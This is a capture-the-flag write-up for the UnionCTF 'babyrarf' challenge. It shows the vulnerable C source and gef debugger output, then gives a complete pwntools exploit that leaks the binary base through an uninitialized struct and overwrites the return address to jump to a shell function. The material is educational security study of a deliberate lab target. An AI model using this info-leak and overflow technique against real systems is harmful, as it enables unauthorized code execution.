The binary can be found right here.
[UnionCTF] Babyrarf
Welcome guys,
This Write-Up is about de first pwn challenge of unionctf: babyrarf. It was a really easy challenge with a stack based buffer overflow. The source code was provided so, no need to reverse the binary :).
Letβs take a look at the src!
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>
typedef struct attack { uint64_t id; uint64_t dmg;} attack;
typedef struct character { char name[10]; int health;} character;
uint8_t score;
int read_int(){ char buf[10]; fgets(buf, 10, stdin); return atoi(buf);}
void get_shell(){ execve("/bin/sh", NULL, NULL);}
attack choose_attack(){ attack a; int id; puts("Choose an attack:\n"); puts("1. Knife\n"); puts("2. A bigger knife\n"); puts("3. Her Majesty's knife\n"); puts("4. A cr0wn\n"); id = read_int(); if (id == 1){ a.id = 1; a.dmg = 10; } else if (id == 2){ a.id = 2; a.dmg = 20; } else if (id == 3){ a.id = 3; a.dmg = 30; } else if (id == 4){ if (score == 0){ puts("l0zers don't get cr0wns\n"); } else{ a.id = 4; a.dmg = 40; } } else{ puts("Please select a valid attack next time\n"); a.id = 0; a.dmg = 0; } return a;}
int main(){ character player = { .health = 100}; character boss = { .health = 100, .name = "boss"}; attack a; int dmg;
setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); srand(0);
puts("You are fighting the rarf boss!\n"); puts("What is your name?\n"); fgets(player.name, 10, stdin);
score = 10;
while (score < 100){ a = choose_attack(); printf("You choose attack %llu\n", a.id); printf("You deal %llu dmg\n", a.dmg); boss.health -= a.dmg; dmg = rand() % 100; printf("The boss deals %llu dmg\n", dmg); player.health -= dmg; if (player.health > boss.health){ puts("You won!\n"); score += 1; } else{ puts("You lost!\n"); score -= 1; } player.health = 100; boss.health = 100; }
puts("Congratulations! You may now declare yourself the winner:\n"); fgets(player.name, 48, stdin); return 0;}Itβs basically some kind of game, we have to win a lot of times to display Congratulations! You may now declare yourself the winner. And when we reach this part we can trigger a buffer overflow with a call to fgets (fgets(player.name, 48, stdin);). We notice too the get_shell function (maybe we will have to jump on ?).
Letβs take a look at gdb:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdf48β+0x0000: 0x00007ffff7dd30b3 β <__libc_start_main+243> mov edi, eax β $rsp0x00007fffffffdf50β+0x0008: 0x00007ffff7ffc620 β 0x00050812000000000x00007fffffffdf58β+0x0010: 0x00007fffffffe038 β 0x00007fffffffe357 β "/home/nasm/dist/babyrarf"0x00007fffffffdf60β+0x0018: 0x00000001000000000x00007fffffffdf68β+0x0020: 0x00005555555552e4 β <main+0> push rbp0x00007fffffffdf70β+0x0028: 0x00005555555554d0 β <__libc_csu_init+0> endbr640x00007fffffffdf78β+0x0030: 0xdb21ca7fd193f05a0x00007fffffffdf80β+0x0038: 0x00005555555550b0 β <_start+0> endbr64ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x5555555552de <choose_attack+234> mov rdx, QWORD PTR [rbp-0x18] 0x5555555552e2 <choose_attack+238> leave 0x5555555552e3 <choose_attack+239> ret β 0x5555555552e4 <main+0> push rbp 0x5555555552e5 <main+1> mov rbp, rsp 0x5555555552e8 <main+4> sub rsp, 0x40 0x5555555552ec <main+8> mov QWORD PTR [rbp-0x20], 0x0 0x5555555552f4 <main+16> mov QWORD PTR [rbp-0x18], 0x0 0x5555555552fc <main+24> mov DWORD PTR [rbp-0x14], 0x64ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "babyrarf", stopped 0x5555555552e4 in main (), reason: BREAKPOINTββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x5555555552e4 β main()βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€And at the call to fgets:
0x55555555537d <main+153> lea rax, [rbp-0x20] 0x555555555381 <main+157> mov esi, 0xa 0x555555555386 <main+162> mov rdi, rax β 0x555555555389 <main+165> call 0x555555555060 <fgets@plt> β³ 0x555555555060 <fgets@plt+0> jmp QWORD PTR [rip+0x2fca] # 0x555555558030 <fgets@got.plt> 0x555555555066 <fgets@plt+6> push 0x3 0x55555555506b <fgets@plt+11> jmp 0x555555555020 0x555555555070 <execve@plt+0> jmp QWORD PTR [rip+0x2fc2] # 0x555555558038 <execve@got.plt> 0x555555555076 <execve@plt+6> push 0x4 0x55555555507b <execve@plt+11> jmp 0x555555555020ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ arguments (guessed) ββββfgets@plt ( $rdi = 0x00007fffffffdf20 β 0x0000000000000000, $rsi = 0x000000000000000a, $rdx = 0x00007ffff7f97980 β 0x00000000fbad208b)ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "babyrarf", stopped 0x555555555389 in main (), reason: SINGLE STEPββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x555555555389 β main()βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€So main_ret_addr minus player.name is equal to: 0x00007fffffffdf48 - 0x00007fffffffdf20 = 40 .
So we have basically a padding of 40 bytes before the return address, and according to the last fgets, we can only enter 48 bytes.
We can so overwrite only the return address.
Now we can take a look at the permissions:
gefβ€ checksec[+] checksec for '/home/nasm/dist/babyrarf'Canary : βNX : βPIE : βFortify : βRelRO : PartialWe can see, the binary is PIE based, so in order to jump on get_shell we need to leak some binaryβs functions.
To do so we can mind the code of choose_attack function:
attack choose_attack(){ attack a; int id; /* Some print stuff */ id = read_int(); // It is readinf the type of weapons we want
/* Here it is handling properly dammage and weapon type */
else if (id == 4){ if (score == 0){ puts("l0zers don't get cr0wns\n"); } else{ a.id = 4; a.dmg = 40; } } else{ puts("Please select a valid attack next time\n"); a.id = 0; a.dmg = 0; } return a;}The interesting part is that when our score is zero and that we choose the fourth weapon, the id et dmg fields are not initialized. And so itβs returning a non initialized struct that it will print just next in the main function:
/* ... */ a = choose_attack(); printf("You choose attack %llu\n", a.id); printf("You deal %llu dmg\n", a.dmg); /*...*/Uninitialized structures are very useful to obtain leaks because their content is depending of the ancient stackframes which have stored local variables and especially useful pointers.
And when we try to leak these datas, we can see that a.id displays the address of __lib_csu_init.
So we just need to leak the address of __lib_csu_init to compute the base address of the binary and so the address of get_shell.
from pwn import *
#p = process("babyrarf")
r = remote('35.204.144.114', 1337)e = ELF('babyrarf')
set_ = Falsebase = 0csu_leak = 0
def padd(d): return d + '\00'*(8-len(d))
print(r.recvuntil("What is your name?\n\n"))r.sendline("nasm")print(r.recvuntil("4. A cr0wn\n\n"))r.sendline("1")
while True: a = r.recvuntil("4. A cr0wn\n\n", timeout=1)
if not a: break print(a)
if not set_: r.sendline("4") else: r.sendline("1")
b = r.recvuntil("You choose attack ")
if "l0zers don't get cr0wns" in b: leak_csu = int(padd(r.recvline().replace("\n", ""))) print("leak_csu={}".format(hex(int(leak_csu)))) base = leak_csu - e.symbols['__libc_csu_init']
print("base: {}".format(hex(base)))
set_ = True
print(r.recvuntil("Congratulations! You may now declare yourself the winner:\n\n"))
#gdb.attach(p.pid)r.sendline("A"*40 + p64(e.symbols['get_shell'] + base))r.interactive()We can compute compute the value of rand to avoid bruteforce, but Iβve choosen to do not. So while it does not print l0zers don't get cr0wns, Iβm sending 4 for cr0wn and when it is teh case I get my leak of the csu and I compute the base address.
When Itβs done Iβm sending 1 because it sounds more speed and I wait to win.
And when I won I can trigger the buffer overflow and jmp on get_shell.
/* ... *//* lot of iterations *//* ... */
You deal 40 dmgThe boss deals 70 dmgYou lost!
Choose an attack:
1. Knife
2. A bigger knife
3. Her Majesty's knife
4. A cr0wn
leak_csu=0x55b3b5b3a4d0base: 0x55b3b5b39000You deal 140736258161760 dmgThe boss deals 96 dmgYou lost!
Congratulations! You may now declare yourself the winner:
[*] Switching to interactive mode$ cat /home/babyrarf/flag.txtunion{baby_rarf_d0o_d00_do0_doo_do0_d0o}The final script can be found here.
Thatβs all folks :)